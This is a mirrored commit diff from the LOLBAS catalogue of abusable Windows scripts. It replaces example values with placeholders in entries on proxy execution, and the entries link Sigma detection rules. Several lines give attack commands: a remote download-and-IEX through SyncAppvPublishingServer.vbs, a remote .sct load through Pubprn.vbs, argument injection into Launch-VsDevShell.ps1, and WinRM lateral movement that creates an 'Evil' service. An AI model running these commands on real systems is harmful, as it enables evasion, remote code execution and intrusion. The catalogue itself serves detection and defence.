mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-27 04:32:24 +02:00
@@ -15,8 +15,6 @@ Commands:
|
||||
- Execute: DLL (.NET)
|
||||
Full_Path:
|
||||
- Path: C:\Windows\diagnostics\system\Audio\CL_LoadAssembly.ps1
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/ff6c54ded6b52f379cec11fe17c1ccb956faa660/rules/windows/process_creation/proc_creation_win_lolbas_cl_loadassembly.yml
|
||||
Resources:
|
||||
|
@@ -1,10 +1,10 @@
|
||||
---
|
||||
Name: CL_Mutexverifiers.ps1
|
||||
Description: Proxy execution with CL_Mutexverifiers.ps1
|
||||
Author: 'Oddvar Moe'
|
||||
Author: Oddvar Moe
|
||||
Created: 2018-05-25
|
||||
Commands:
|
||||
- Command: . C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess calc.ps1
|
||||
- Command: . C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess {PATH:.ps1}
|
||||
Description: Import the PowerShell Diagnostic CL_Mutexverifiers script and call runAfterCancelProcess to launch an executable.
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
@@ -19,8 +19,6 @@ Full_Path:
|
||||
- Path: C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1
|
||||
- Path: C:\Windows\diagnostics\system\Video\CL_Mutexverifiers.ps1
|
||||
- Path: C:\Windows\diagnostics\system\Speech\CL_Mutexverifiers.ps1
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml
|
||||
Resources:
|
||||
|
@@ -1,10 +1,10 @@
|
||||
---
|
||||
Name: CL_Invocation.ps1
|
||||
Description: Aero diagnostics script
|
||||
Author: 'Oddvar Moe'
|
||||
Author: Oddvar Moe
|
||||
Created: 2018-05-25
|
||||
Commands:
|
||||
- Command: . C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 \nSyncInvoke <executable> [args]
|
||||
- Command: . C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 \nSyncInvoke {CMD}
|
||||
Description: Import the PowerShell Diagnostic CL_Invocation script and call SyncInvoke to launch an executable.
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
@@ -17,8 +17,6 @@ Full_Path:
|
||||
- Path: C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1
|
||||
- Path: C:\Windows\diagnostics\system\Audio\CL_Invocation.ps1
|
||||
- Path: C:\Windows\diagnostics\system\WindowsUpdate\CL_Invocation.ps1
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml
|
||||
|
@@ -4,7 +4,7 @@ Description: Locates and imports a Developer PowerShell module and calls the Ent
|
||||
Author: 'Nasreddine Bencherchali'
|
||||
Created: 2022-06-13
|
||||
Commands:
|
||||
- Command: 'powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath "C:\windows\system32\calc.exe"'
|
||||
- Command: 'powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}'
|
||||
Description: Execute binaries from the context of the signed script using the "VsWherePath" flag.
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
@@ -13,7 +13,7 @@ Commands:
|
||||
OperatingSystem: Windows 10, Windows 11
|
||||
Tags:
|
||||
- Execute: EXE
|
||||
- Command: 'powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath "/../../../../../; calc.exe ;"'
|
||||
- Command: 'powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath "/../../../../../; {PATH:.exe} ;"'
|
||||
Description: Execute binaries and commands from the context of the signed script using the "VsInstallationPath" flag.
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
|
@@ -1,10 +1,10 @@
|
||||
---
|
||||
Name: Manage-bde.wsf
|
||||
Description: Script for managing BitLocker
|
||||
Author: 'Oddvar Moe'
|
||||
Author: Oddvar Moe
|
||||
Created: 2018-05-25
|
||||
Commands:
|
||||
- Command: set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf
|
||||
- Command: set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf
|
||||
Description: Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.
|
||||
Usecase: Proxy execution from script
|
||||
Category: Execute
|
||||
@@ -24,8 +24,6 @@ Commands:
|
||||
- Execute: EXE
|
||||
Full_Path:
|
||||
- Path: C:\Windows\System32\manage-bde.wsf
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml
|
||||
- IOC: Manage-bde.wsf should not be invoked by a standard user under normal situations
|
||||
|
@@ -1,10 +1,10 @@
|
||||
---
|
||||
Name: Pubprn.vbs
|
||||
Description: Proxy execution with Pubprn.vbs
|
||||
Author: 'Oddvar Moe'
|
||||
Author: Oddvar Moe
|
||||
Created: 2018-05-25
|
||||
Commands:
|
||||
- Command: pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct
|
||||
- Command: pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}
|
||||
Description: Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
|
@@ -1,10 +1,10 @@
|
||||
---
|
||||
Name: Syncappvpublishingserver.vbs
|
||||
Description: Script used related to app-v and publishing server
|
||||
Author: 'Oddvar Moe'
|
||||
Author: Oddvar Moe
|
||||
Created: 2018-05-25
|
||||
Commands:
|
||||
- Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
|
||||
- Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
|
||||
Description: Inject PowerShell script code with the provided arguments
|
||||
Usecase: Use Powershell host invoked from vbs script
|
||||
Category: Execute
|
||||
|
@@ -15,8 +15,6 @@ Commands:
|
||||
- Execute: DLL (.NET)
|
||||
Full_Path:
|
||||
- Path: C:\Windows\diagnostics\system\Networking\UtilityFunctions.ps1
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/0.21-688-gd172b136b/rules/windows/process_creation/proc_creation_win_lolbas_utilityfunctions.yml
|
||||
Resources:
|
||||
|
@@ -1,10 +1,10 @@
|
||||
---
|
||||
Name: winrm.vbs
|
||||
Description: Script used for manage Windows RM settings
|
||||
Author: 'Oddvar Moe'
|
||||
Author: Oddvar Moe
|
||||
Created: 2018-05-25
|
||||
Commands:
|
||||
- Command: 'winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985'
|
||||
- Command: 'winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985'
|
||||
Description: Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
@@ -14,7 +14,7 @@ Commands:
|
||||
Tags:
|
||||
- Execute: CMD
|
||||
- Execute: Remote
|
||||
- Command: 'winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985'
|
||||
- Command: 'winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985'
|
||||
Description: Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
|
@@ -1,11 +1,11 @@
|
||||
---
|
||||
Name: Pester.bat
|
||||
Description: Used as part of the Powershell pester
|
||||
Author: 'Oddvar Moe'
|
||||
Author: Oddvar Moe
|
||||
Created: 2018-05-25
|
||||
Commands:
|
||||
- Command: Pester.bat [/help|?|-?|/?] "$null; notepad"
|
||||
Description: Execute code using Pester. The third parameter can be anything. The fourth is the payload. Example here executes notepad
|
||||
- Command: Pester.bat [/help|?|-?|/?] "$null; {CMD}"
|
||||
Description: Execute code using Pester. The third parameter can be anything. The fourth is the payload.
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
Privileges: User
|
||||
@@ -13,8 +13,8 @@ Commands:
|
||||
OperatingSystem: Windows 10, Windows 11
|
||||
Tags:
|
||||
- Execute: EXE
|
||||
- Command: Pester.bat ;calc.exe
|
||||
Description: Execute code using Pester. Example here executes calc.exe
|
||||
- Command: Pester.bat ;{PATH:.exe}
|
||||
Description: Execute code using Pester. Example here executes specified executable.
|
||||
Usecase: Proxy execution
|
||||
Category: Execute
|
||||
Privileges: User
|
||||
@@ -23,9 +23,7 @@ Commands:
|
||||
Tags:
|
||||
- Execute: EXE
|
||||
Full_Path:
|
||||
- Path: c:\Program Files\WindowsPowerShell\Modules\Pester\<version>\bin\Pester.bat
|
||||
Code_Sample:
|
||||
- Code:
|
||||
- Path: c:\Program Files\WindowsPowerShell\Modules\Pester\<VERSION>\bin\Pester.bat
|
||||
Detection:
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_pester_1.yml
|
||||
Resources:
|
||||
|
Reference in New Issue
Block a user